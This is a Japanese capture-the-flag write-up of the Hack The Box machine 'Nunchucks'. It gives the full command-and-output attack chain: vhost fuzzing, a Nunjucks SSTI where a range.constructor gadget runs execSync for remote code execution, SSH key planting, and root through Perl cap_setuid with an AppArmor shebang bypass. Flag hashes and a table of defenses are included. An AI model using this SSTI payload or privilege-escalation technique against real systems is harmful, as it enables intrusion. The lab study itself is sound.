Hack The BoxのWriteup(Nunchucks)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Nunchucks — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 443/https
→
SSL証明書/wfuzz
store.nunchucks.htb発見
→
ニュースレター登録フォーム
email値がテンプレートへ反映
→
Nunjucks SSTI
{{7*7}}→49で確認
→
range.constructor RCE
execSync()で任意コマンド
→
SSH公開鍵注入
→
david → user.txt ✓
→
Perl cap_setuid
/opt/backup.pl
→
AppArmor shebangバイパス
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.252
nmap -sV -sC -p 22,80,443 10.129.95.252
RESULT
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp  open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
Service Info: OS: Linux
ℹ️
ポート80はSSL証明書のCNにあるnunchucks.htbへリダイレクトする。 これを/etc/hostsへ登録する。
BASH
echo "10.129.95.252  nunchucks.htb" | sudo tee -a /etc/hosts

vhostファジングで隠しサブドメインを発見

BASH
wfuzz -H "Host: FUZZ.nunchucks.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --hh 30587 https://nunchucks.htb
RESULT
ID            Response   Lines    Word      Chars        Payload
000000081:    200        101 L    259 W     4028 Ch      "store"
🚨
重要発見: store.nunchucks.htbという隠しvhostを 発見した。本体のnunchucks.htbはトップページとディレクトリ 列挙では目立った収穫が無かったが、こちらが実際の攻撃対象。
BASH
echo "10.129.95.252  nunchucks.htb store.nunchucks.htb" | sudo tee /etc/hosts -a

store.nunchucks.htb の確認

BASH
curl -sk https://store.nunchucks.htb/
RESULT
<title>Nunchucks Store</title>
Nunchucks store will be opening soon!
Subscribe to our newsletter to get update on our launch.
[Your email here...] [Notify Me]
ℹ️
「近日オープン」のニュースレター登録フォームのみ。レスポンス ヘッダーからX-Powered-By: Express(Node.js)と判明。 マシン名「Nunchucks」自体がヒントで、ExpressがサポートするJSテンプレート エンジンの1つにNunjucks(Jinja2/Twig風構文)が存在する。
PHASE 2

Nunjucks SSTI (Server-Side Template Injection) の発見

メール送信エンドポイントの特定

BASH (CSRF cookieを先に取得してから送信)
curl -sk -c cookies.txt https://store.nunchucks.htb/ -o /dev/null

curl -sk -b cookies.txt -c cookies.txt -X POST https://store.nunchucks.htb/api/submit \
  -H "Content-Type: application/json" \
  -d '{"email":"test@htb.htb"}'
RESULT
{"response":"You will receive updates on the following email address: test@htb.htb."}
ℹ️
CSRF保護は_csrfCookieを先行GETで取得しておくだけで 通過できる(ヘッダー/ボディへの別トークン再送は不要)。

SSTIペイロードで動作確認

BASH
curl -sk -b cookies.txt -c cookies.txt -X POST https://store.nunchucks.htb/api/submit \
  -H "Content-Type: application/json" \
  -d '{"email":"0xdf{{7*7}}@htb.htb"}'
RESULT (本検証の実際の出力)
{"response":"You will receive updates on the following email address: 0xdf49@htb.htb."}
✅
SSTI確認! {{7*7}}が49に評価されて 反映された——メール欄の値がサニタイズされずNunjucksテンプレートへ そのまま渡され、{{ }}構文が評価されてしまっている。
PHASE 3

range.constructor ガジェットによるRCE & user.txt取得

RCEペイロードの構築

NOTE
NunjucksはJinja2/Twig風の構文だが、内部的にはJavaScriptオブジェクトを
扱っているため、組み込みの"range"オブジェクトのコンストラクタに
任意の関数本体文字列を渡して呼び出すガジェットが存在する。
Node.jsのグローバル空間からchild_processモジュールを辿り、execSync()で
任意のシェルコマンドを実行できる:

  {{range.constructor("return global.process.mainModule.require"
    + "('child_process').execSync('<コマンド>')")()}}

生のcurl/bashでこのペイロードを組み立てるとクォートの階層が複雑で
事故りやすいため、PythonのrequestsライブラリでJSONボディとして
安全に構築するのが確実。
PYTHON (本検証で実際に使用したRCEヘルパー)
import requests
requests.packages.urllib3.disable_warnings()

def rce(cmd):
    s = requests.Session()
    s.get("https://store.nunchucks.htb/", verify=False)
    payload = (
        '0xdf{{range.constructor("return global.process.mainModule'
        ".require('child_process').execSync('" + cmd + "')\")()}}@htb.htb"
    )
    r = s.post("https://store.nunchucks.htb/api/submit",
               json={"email": payload}, verify=False)
    return r.text

print(rce("id"))
RESULT (本検証の実際の出力)
{"response":"You will receive updates on the following email address: 0xdfuid=1000(david) gid=1000(david) groups=1000(david)
@htb.htb."}
✅
RCE成功! davidユーザーとしてコマンドが実行でき、 出力結果がレスポンスのメールアドレス文字列中に挿入される形で返る。

SSH公開鍵の注入

BASH (Kali側で鍵ペア生成)
ssh-keygen -t ed25519 -f nunchucks_key -N ""
PYTHON (rce()ヘルパーを使い回して鍵を設置)
print(rce("mkdir -p /home/david/.ssh"))
print(rce("echo ssh-ed25519 AAAA...(公開鍵)... root@kali > /home/david/.ssh/authorized_keys"))
print(rce("chmod 600 /home/david/.ssh/authorized_keys"))
print(rce("chmod 700 /home/david/.ssh"))
BASH
ssh -i nunchucks_key david@10.129.95.252 "cat /home/david/user.txt"
RESULT (本検証の実際の出力)
08e18ec6200a5f0a1f236a17a14a73e4
user.txt — david
08e18ec6200a5f0a1f236a17a14a73e4
PHASE 4

Perl setuidバイナリ + AppArmor shebangバイパス — root.txt取得

setuidスクリプトの発見

BASH (SSHシェル上で実行)
ls -la /opt/
getcap /usr/bin/perl
RESULT
-rwxr-xr-x 1 root root  838 Sep  1 12:53 /opt/backup.pl
/usr/bin/perl = cap_setuid+ep
🚨
重要発見: /opt/backup.plはWebディレクトリを /opt/web_backupsへバックアップするスクリプトで、 POSIX::setuid(0)を呼んでroot権限で動作する設計。 /usr/bin/perl自体にcap_setuidケーパビリティが 付与されているため、このスクリプトはSUIDバイナリ無しでroot昇格できる 仕組みになっている。ただし素朴にGTFOBins記載のワンライナー (perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";') を試してもなぜかroot化しない——AppArmorが /usr/bin/perlの動作を制限しているため。

AppArmorプロファイルの確認とバイパス方法

BASH
cat /etc/apparmor.d/usr.bin.perl
RESULT (抜粋)
/usr/bin/perl {
  capability setuid,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,
}
ℹ️
このプロファイルは/root/*と/etc/shadowへの アクセスを明示的に拒否し、実行を許可するスクリプトも限定している。 既知の実装上の抜け穴として、AppArmorはPerlが perl <script>という形式で明示的に呼び出された場合は プロファイルを適用するが、スクリプト自身のshebang (#!/usr/bin/perl)経由で直接実行された場合 (./script.pl)にはプロファイルが適用されない というバグが長年報告されている(AppArmor開発者向けバグレポートに 記載あり)。

shebang実行によるroot化

BASH (悪意あるPerlスクリプトを作成)
cat > /tmp/a.pl <<'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "cat /root/root.txt > /tmp/.r00t; chmod 644 /tmp/.r00t";
EOF
chmod +x /tmp/a.pl
BASH (perlコマンド経由ではなく直接実行する点が重要)
/tmp/a.pl
cat /tmp/.r00t
RESULT (本検証の実際の出力)
6ba02e8d931b288517d7a51daac1294e
✅
root化成功! ./a.plのようにshebang経由で 直接実行したことでAppArmorプロファイルの制限が一切適用されず、 POSIX::setuid(0)がそのまま通りroot権限で /root/root.txtを読み取れた。
root.txt — Perl cap_setuid + AppArmor shebangバイパス
6ba02e8d931b288517d7a51daac1294e
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — david
08e18ec6200a5f0a1f236a17a14a73e4
root.txt — Perl cap_setuid + AppArmor shebangバイパス
6ba02e8d931b288517d7a51daac1294e

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Nunjucks SSTI (Server-Side Template Injection) store.nunchucks.htb /api/submit (emailフィールド) リモートコード実行 (davidユーザー) Critical range.constructorガジェットでNode.jsのchild_process.execSync()を呼び出し任意コマンド実行
cap_setuid権限付き/usr/bin/perl /opt/backup.pl (POSIX::setuid(0)) root権限への昇格経路の存在 High AppArmorで制限されているが、shebang経由実行でバイパス可能
AppArmorのshebang実行バイパス /etc/apparmor.d/usr.bin.perl プロファイル 権限昇格 (root) Critical “perl script.pl”形式はプロファイル適用対象だが”./script.pl”(shebang直接実行)には適用されない既知の抜け穴を悪用

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, SSL証明書CN, wfuzz vhost列挙22/ssh, 80/443/http、隠しvhost store.nunchucks.htb
2脆弱性特定ニュースレター登録フォーム + {{7*7}}確認Nunjucks SSTI確認
3RCE+横移動range.constructorガジェット + SSH鍵注入user.txt (david)
4権限昇格Perl setuid + AppArmor shebangバイパスroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー入力をサニタイズせずNunjucksテンプレートへ直接渡している ユーザー入力をテンプレート評価対象として扱わない(自動エスケープが有効な出力コンテキストでのみ使用する)。可能であればテンプレートエンジンのサンドボックスモードを有効化する。
一般ユーザーがcap_setuidケーパビリティ付きのPerlで実行できるroot権限スクリプトに到達できる setuidスクリプト自体を必要最小限の権限で動作する専用バイナリへ置き換え、Perlインタプリタ全体へのcap_setuid付与は避ける。
AppArmorプロファイルがshebang経由の直接実行を制限できていない AppArmorプロファイルの制限が確実に効くことを実機で検証する。既知の抜け穴(shebang実行バイパス等)を把握した上で、より強固な制御(SELinux、専用の制限付きシェル等)の併用を検討する。
HackTheBox: Nunchucks | 完全攻略レポート